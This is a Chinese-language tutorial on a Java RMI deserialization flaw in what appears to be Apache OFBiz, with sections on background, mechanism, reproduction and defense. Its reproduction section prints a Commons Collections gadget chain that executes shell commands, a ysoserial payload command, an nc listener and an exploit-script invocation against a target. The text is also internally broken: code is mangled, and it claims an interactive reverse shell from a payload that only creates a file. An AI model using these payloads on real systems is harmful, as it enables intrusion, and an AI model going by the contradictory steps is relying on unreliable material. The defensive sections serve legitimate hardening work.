RMI反序列化漏洞攻防实战:从原理到复现的全流程解析

一、漏洞背景与影响范围

反序列化漏洞是Java生态中常见的安全威胁,其本质在于对象反序列化过程中未对输入数据进行严格校验,导致恶意代码执行。2021年披露的CVE-2021-26295漏洞,影响某开源ERP系统的RMI(远程方法调用)服务模块,攻击者无需认证即可通过构造恶意序列化数据触发远程代码执行,严重威胁企业核心业务系统安全。

该漏洞的典型利用场景包括:

  1. 横向渗透:攻击者通过漏洞获取系统权限后,可进一步渗透内网其他服务
  2. 数据泄露:执行任意命令读取数据库敏感信息或配置文件
  3. 勒索攻击:植入恶意程序加密关键业务数据

据行业安全报告统计,2021年全球范围内该漏洞的利用尝试次数同比增长230%,成为金融、制造等行业ERP系统的主要攻击入口之一。

二、漏洞原理深度解析

2.1 RMI协议基础

RMI(Remote Method Invocation)是Java特有的远程调用协议,通过序列化机制实现对象在网络中的传输。其通信流程包含三个核心组件:

  • Registry服务:默认监听1099端口,提供服务注册与查找
  • RMI Server:暴露远程方法接口
  • RMI Client:发起远程调用请求

2.2 漏洞触发条件

该漏洞的形成需满足两个关键条件:

  1. 不安全的反序列化:服务端未对RMI请求中的序列化数据进行签名校验
  2. gadget链存在:JVM类路径中存在可利用的漏洞类(如Apache Commons Collections中的InvokerTransformer

攻击者通过构造包含恶意gadget链的序列化数据,当服务端进行反序列化时,会触发readObject()方法中的危险操作,最终实现命令执行。

2.3 漏洞利用链示例

典型的攻击载荷会包含以下组件:

  1. // 伪代码示例:构造恶意序列化数据
  2. Transformer[] transformers = new Transformer[] {
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod",
  5. new Class[] {String.class, Class[].class},
  6. new Object[] {"getRuntime", new Class[0]}),
  7. new InvokerTransformer("invoke",
  8. new Class[] {Object.class, Object[].class},
  9. new Object[] {null, new Object[0]}),
  10. new InvokerTransformer("exec",
  11. new Class[] {String.class},
  12. new Object[] {"/bin/sh -c id > /tmp/success"})
  13. };
  14. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  15. Map innerMap = new HashMap();
  16. innerMap.put("value", "value");
  17. Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

三、漏洞复现全流程

3.1 环境搭建

  1. 系统要求

    • JDK 1.8.x(需包含受影响的类库)
    • 某开源ERP系统v17.12.x版本
  2. 部署步骤
    ```bash

    下载漏洞版本(示例命令)

    wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.06.zip
    unzip apache-ofbiz-17.12.06.zip
    cd apache-ofbiz-17.12.06

启动服务(需修改配置文件启用RMI)

./gradlew loadDefault
./gradlew “ofbiz —load-data readers=all”
./gradlew start

  1. ## 3.2 攻击载荷生成
  2. 使用某开源工具生成序列化数据:
  3. ```bash
  4. java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser

3.3 漏洞利用演示

通过nc发起攻击请求:

  1. # 监听反弹shell端口
  2. nc -lvnp 4444
  3. # 发送恶意RMI请求(需替换为实际IP)
  4. python3 rmi_exploit.py 192.168.1.100 1099 payload.ser

成功利用后,服务端会执行命令并在/tmp目录创建测试文件,同时攻击者可获得交互式shell。

四、防御与加固方案

4.1 临时缓解措施

  1. 网络层防护

    • 限制RMI服务(1099端口)的访问来源IP
    • 通过防火墙规则阻断外部RMI请求
  2. JVM参数调整

    1. # 禁用RMI注册表查找(需根据实际环境调整)
    2. JAVA_OPTS="-Djava.rmi.server.useCodebaseOnly=true -Djava.security.manager"

4.2 长期修复方案

  1. 版本升级

    • 升级至官方修复版本(v17.12.07+)
    • 移除受影响的依赖库(如Commons Collections 3.x)
  2. 代码级防护

    1. // 示例:自定义ObjectInputStream过滤危险类
    2. public class SafeObjectInputStream extends ObjectInputStream {
    3. public SafeObjectInputStream(InputStream in) throws IOException {
    4. super(in);
    5. }
    6. @Override
    7. protected Class<?> resolveClass(ObjectStreamClass desc)
    8. throws IOException, ClassNotFoundException {
    9. String className = desc.getName();
    10. // 阻断危险类加载
    11. if (className.startsWith("org.apache.commons.collections")) {
    12. throw new InvalidClassException("Unauthorized deserialization attempt", className);
    13. }
    14. return super.resolveClass(desc);
    15. }
    16. }
  3. 运行时防护

    • 部署RASP(运行时应用自我保护)系统
    • 启用Java安全管理器并配置严格策略文件

五、安全开发最佳实践

  1. 输入验证

    • 对所有序列化数据实施白名单校验
    • 使用JSON/XML等更安全的协议替代Java原生序列化
  2. 依赖管理

    • 定期更新依赖库版本
    • 使用SCA工具扫描已知漏洞组件
  3. 最小权限原则

    • RMI服务使用非root用户运行
    • 限制服务端文件系统访问权限

六、总结与展望

RMI反序列化漏洞的防御需要构建多层次防护体系,包括网络隔离、代码加固和运行时监控。随着Java生态的演进,新型序列化协议(如JSON-B、Protobuf)的普及将逐步降低此类风险,但在过渡期内,开发人员仍需保持警惕,持续跟踪CVE通报并及时修复已知漏洞。

建议企业建立常态化的安全测试机制,在开发阶段引入SAST/DAST工具,在生产环境部署EDR解决方案,形成从代码到运行的完整防护链。对于关键业务系统,可考虑采用零信任架构,通过微隔离技术限制横向移动路径,从根本上降低漏洞利用的影响范围。